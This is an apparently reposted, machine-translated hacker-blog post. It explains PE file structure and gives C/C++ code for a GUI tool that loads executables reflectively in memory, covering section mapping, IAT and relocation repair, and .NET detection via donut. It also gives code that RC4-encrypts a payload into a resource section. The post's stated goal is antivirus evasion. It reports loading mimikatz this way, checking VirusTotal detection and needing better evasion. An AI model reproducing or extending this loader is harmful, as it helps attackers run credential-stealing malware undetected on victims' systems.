Gongzong No.: black palm
A blogger who focuses on sharing network security, hot spots in the hacker circle and hacker tool technology area!
PE file
Brief description of PE documents
The full name of PE file is Portable Executable, which means Portable Executable file. Common exe, DLL, OCX, SYS and COM are PE files. PE file is a program file on Microsoft Windows operating system (which may be executed indirectly, such as DLL). This article mainly focuses on the method and code implementation of loading and running EXE file in memory, And complete the whole process of a GUI loader tool.
file structure
It can be seen from the above figure
-
Dos Header
It is used to be compatible with MS-DOS operating system. The purpose is to prompt a text when the file runs on MS-DOS. In most cases, it is: This program cannot be run in DOS mode Another purpose is to indicate the position of NT header in the file.
-
NT Header
Contains the main information of windows PE files, including a signature with the word "PE", PE file header (IMAGE_FILE_HEADER) and PE optional header (IMAGE_OPTIONAL_HEADER32).
-
Section Table
Is the description of subsequent sections of the PE file. windows loads each section according to the description of the section table.
-
Section
Each section is actually a container that can contain code, data, etc. each section can have independent memory permissions. For example, code sections have read / execute permissions by default, and the name and number of sections can be defined by themselves.
No matter whether the PE file is on disk or in memory, the concept of address is indispensable. It is important to understand the following concepts.
- Virtual address: when a program runs, it will be loaded into memory, and each process has its own 4GB. A location in this 4GB is called a virtual address, which is mapped by a physical address. Not all 4GB space is used.
- Base address (Image Base): when the files in the disk are loaded into memory, they can be loaded to any location, and this location is the base address of the program. The default loading base address of EXE is 400000h, and the default base address of DLL file is 10000000h. It should be noted that the base address is not the entry point of the program.
- Relative virtual address: in order to avoid having a certain memory address in the PE file, the concept of relative virtual address is introduced. RVA is the offset from the load address (base address) in memory, so you can find the relationship between the first three concepts: virtual address = base address + relative virtual address
- File offset address (FOA): when a PE file is stored on a disk, the offset of the position of a data relative to the file header.
- Entry point (OEP): first clarify the concept that OEP is a relative virtual address, and then use OEP + Image Base = = the virtual address of the entry point. Generally, OEP points to the real entry point of the program rather than the main function.
Execution process
Here is the whole flow chart of windows execution PE file made by the boss. Here is the address:
https://github.com/corkami/pics/blob/master/binary/pe101/pe101l.png
The general process is as follows:
- Load PE file: judge whether it is a PE file, and then read the file to be loaded into memory and align it.
- Relocation: if the base address currently loaded into memory is the same as the Image Base of Option Header, that is, it is expanded in the ideal base address, or the length of relocation table data[5] is 0, relocation is not required. The sizeOfBlock of the relocation table is the size of 8 bytes plus the block header. The relocation element is also very simple, with WORD as the unit, but it should be noted that the upper 4 bits are 0x3. When repairing the relocation table, check whether this bit is valid.
- Build import table: obtain the data of the first dll of the import table through offset + memory base address, and traverse one by one according to the imported dll until the OriginalFirstThunk of the current import table is 0, that is, the traversal is completed.
PE loader
PE loader is to map a PE file to its own memory, and then start its main function to run the program. For the implementation of a PELoader, we need to pay attention to several points: memory alignment, repair IAT table, repair relocation table, and change the memory attribute to executable.
memory alignment
Align according to the alignment granularity of exe file loaded into memory
LPVOID MapImageToMemory(LPVOID base_addr) { LPVOID mem_image_base = NULL; PIMAGE_DOS_HEADER raw_image_base = (PIMAGE_DOS_HEADER)base_addr; FuVirtualAlloc MyVirtualAlloc = (FuVirtualAlloc)GetProcAddress(hKernel32, "VirtualAlloc"); if (IMAGE_DOS_SIGNATURE != raw_image_base->e_magic) { return NULL; } PIMAGE_NT_HEADERS nt_header = (PIMAGE_NT_HEADERS)(raw_image_base->e_lfanew + (UINT_PTR)raw_image_base); if (IMAGE_NT_SIGNATURE != nt_header->Signature) { return NULL; } if (nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].VirtualAddress) { return NULL; } PIMAGE_SECTION_HEADER section_header = (PIMAGE_SECTION_HEADER)(raw_image_base->e_lfanew + sizeof(*nt_header) + (UINT_PTR)raw_image_base); mem_image_base = MyVirtualAlloc((LPVOID)(nt_header->OptionalHeader.ImageBase), nt_header->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (NULL == mem_image_base) { mem_image_base = MyVirtualAlloc(NULL, nt_header->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); } if (NULL == mem_image_base) { return NULL; } memcpy(mem_image_base, (LPVOID)raw_image_base, nt_header->OptionalHeader.SizeOfHeaders); for (int i = 0; i < nt_header->FileHeader.NumberOfSections; i++) { memcpy((LPVOID)(section_header->VirtualAddress + (UINT_PTR)mem_image_base), (LPVOID)(section_header->PointerToRawData + (UINT_PTR)raw_image_base), section_header->SizeOfRawData); section_header++; } return mem_image_base; }
Repair IAT table
According to the import table of PE structure, load the required dll, obtain the address of the import function and write it into the import table
VOID FixImageIAT(PIMAGE_DOS_HEADER dos_header, PIMAGE_NT_HEADERS nt_header) { DWORD op; DWORD iat_rva; SIZE_T iat_size; HMODULE import_base; PIMAGE_THUNK_DATA thunk; PIMAGE_THUNK_DATA fixup; PIMAGE_IMPORT_DESCRIPTOR import_table = (PIMAGE_IMPORT_DESCRIPTOR)(nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + (UINT_PTR)dos_header); DWORD iat_loc = (nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].VirtualAddress) ? IMAGE_DIRECTORY_ENTRY_IAT : IMAGE_DIRECTORY_ENTRY_IMPORT; iat_rva = nt_header->OptionalHeader.DataDirectory[iat_loc].VirtualAddress; iat_size = nt_header->OptionalHeader.DataDirectory[iat_loc].Size; LPVOID iat = (LPVOID)(iat_rva + (UINT_PTR)dos_header); FuVirtualProtect myVirtualProtect = (FuVirtualProtect)GetProcAddress(hKernel32, "VirtualProtect"); FuLoadLibraryA myLoadLibraryA = (FuLoadLibraryA)GetProcAddress(hKernel32, "LoadLibraryA"); myVirtualProtect(iat, iat_size, PAGE_READWRITE, &op); while (import_table->Name) { import_base = myLoadLibraryA((LPCSTR)(import_table->Name + (UINT_PTR)dos_header)); fixup = (PIMAGE_THUNK_DATA)(import_table->FirstThunk + (UINT_PTR)dos_header); if (import_table->OriginalFirstThunk) { thunk = (PIMAGE_THUNK_DATA)(import_table->OriginalFirstThunk + (UINT_PTR)dos_header); } else { thunk = (PIMAGE_THUNK_DATA)(import_table->FirstThunk + (UINT_PTR)dos_header); } while (thunk->u1.Function) { PCHAR func_name; if (thunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64) { fixup->u1.Function = (UINT_PTR)GetProcAddress(import_base, (LPCSTR)(thunk->u1.Ordinal & 0xFFFF)); } else { func_name = (PCHAR)(((PIMAGE_IMPORT_BY_NAME)(thunk->u1.AddressOfData))->Name + (UINT_PTR)dos_header); fixup->u1.Function = (UINT_PTR)GetProcAddress(import_base, func_name); } fixup++; thunk++; } import_table++; } return; }
Repair relocation table
Directly apply for the ImageBase address of the current exe. If the base address loaded into memory is the same as the Image Base of Option Header, it is equivalent to expanding in the ideal base address, and there is no need to repair the relocation table. However, this method is generally used for x64 programs. Because the Image Base of x86 programs is low, there is a high probability that they will not be executed normally due to occupation.
mem_image_base = MyVirtualAlloc((LPVOID)(nt_header->OptionalHeader.ImageBase), nt_header->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (NULL == mem_image_base) { mem_image_base = MyVirtualAlloc(NULL, nt_header->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); }
Judgment C# procedure
You can use item 15 of DataDirectory, image_ DIRECTORY_ ENTRY_ COM_ Whether the VirtualAddress in the descriptor is empty determines whether it is a C# program. If it is a C# program, the program uses the donut project to convert the C# program into shellcode. Donut is a shellcode generation tool that can be generated from NET assembly to create location independent shellcode payloads. This shellcode can be used to inject an assembly into any Windows process. Given an arbitrary NET assembly, parameters and entry points (such as Program.Main), donut can generate a location independent shellcode for us and load it from memory. The project address is as follows:
https://github.com/TheWover/donut
Determine whether it is a PE program, and determine the number of program bits and whether it is a C# program:
int CMFCLoaderDlg::checkBit(TCHAR* filePath,int& BIT,int& TYPE) { IMAGE_DOS_HEADER myDosHeader; IMAGE_NT_HEADERS myNTHeader; IMAGE_NT_HEADERS64 myNTHeader64; LONG e_lfanew; errno_t err; FILE* pfile = NULL; if ((err = _wfopen_s(&pfile, filePath, L"rb")) != 0) { MessageBox(_T("File open error!"), NULL, MB_ICONERROR); return 0; } fread(&myDosHeader, 1, sizeof(IMAGE_DOS_HEADER), pfile); if (myDosHeader.e_magic != 0x5A4D) { MessageBox(_T("Not a PE file!"), NULL, MB_ICONERROR); fclose(pfile); return 0; } e_lfanew = myDosHeader.e_lfanew; fseek(pfile, e_lfanew, SEEK_SET); fread(&myNTHeader, 1, sizeof(IMAGE_NT_HEADERS), pfile); switch (myNTHeader.FileHeader.Machine) { case 0x014c: { BIT = 32; if (myNTHeader.OptionalHeader.DataDirectory[0x0e].VirtualAddress) { TYPE = 1; } break; } case 0x8664: { BIT = 64; fseek(pfile, e_lfanew, SEEK_SET); fread(&myNTHeader64, 1, sizeof(IMAGE_NT_HEADERS64), pfile); if (myNTHeader64.OptionalHeader.DataDirectory[0x0e].VirtualAddress) { TYPE = 1; } break; } default: break; } return 0; }
Program encryption
R.C.4 encryption algorithm is used to encrypt the PE file to be loaded and store it in the resource segment. In fact, this method does not have a good killing free effect. Next, other methods to separate Loader and payload can be considered.
int commanMake(TCHAR* filePath, TCHAR* outfilePath, int BIT) { TCHAR* DATfilename; if (BIT == 32) { DATfilename = L"x32PEloader.DAT"; } else if (BIT == 64) { DATfilename = L"x64PEloader.DAT"; } else { return 0; } HANDLE hPE = CreateFile(filePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hPE == INVALID_HANDLE_VALUE) { wprintf(L"[!] Unable to Open FIle %s\n", filePath); CloseHandle(hPE); return 0; } unsigned char* key = GeneratePassword(128); int peSize = GetFileSize(hPE, NULL); PBYTE shellcode = (PBYTE)malloc(peSize + StreamKeyLenth); if (shellcode == NULL) { return 0; } memcpy(shellcode, key, StreamKeyLenth); DWORD lpNumberOfBytesRead; PWCHAR fileName = outfilePath; int ret = ReadFile(hPE, shellcode + StreamKeyLenth, peSize, &lpNumberOfBytesRead, NULL); if (ret == 0) { return 0; } StreamCrypt(shellcode + StreamKeyLenth, peSize, key, StreamKeyLenth); if (CopyFile(DATfilename, fileName, FALSE) == 0) { wprintf(L"[!] Unable to Open FIle PEloader.DAT\n"); return 0; } HANDLE hResource = BeginUpdateResource(fileName, FALSE); if (NULL != hResource) { if (UpdateResource(hResource, RT_RCDATA, MAKEINTRESOURCE(404), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPVOID)shellcode, peSize + sizeof(key)) != FALSE) { EndUpdateResource(hResource, FALSE); wprintf(L"[+] Successfully generated %s\n", fileName); } } free(shellcode); CloseHandle(hPE); return 1; }
Finished product effect
The loader is generated for the mimikatz of x64, and the function is normal.
Upload VT results. The killing free effect is still alive and needs to be improved. Later, relevant codes and tools will be uploaded to knowledge planet.
Reference articles and projects
https://blog.csdn.net/kclax/article/details/93727011
https://bbs.pediy.com/thread-249133.htm
https://github.com/TheWover/donut
https://www.cnblogs.com/onetrainee/p/12938085.html
Source: freebuf com
Author: wide byte
That's all for today's sharing. My favorite friends remember to click three times. I have a public Zong number [black palm], which can get more hacker secrets for free. Welcome to play!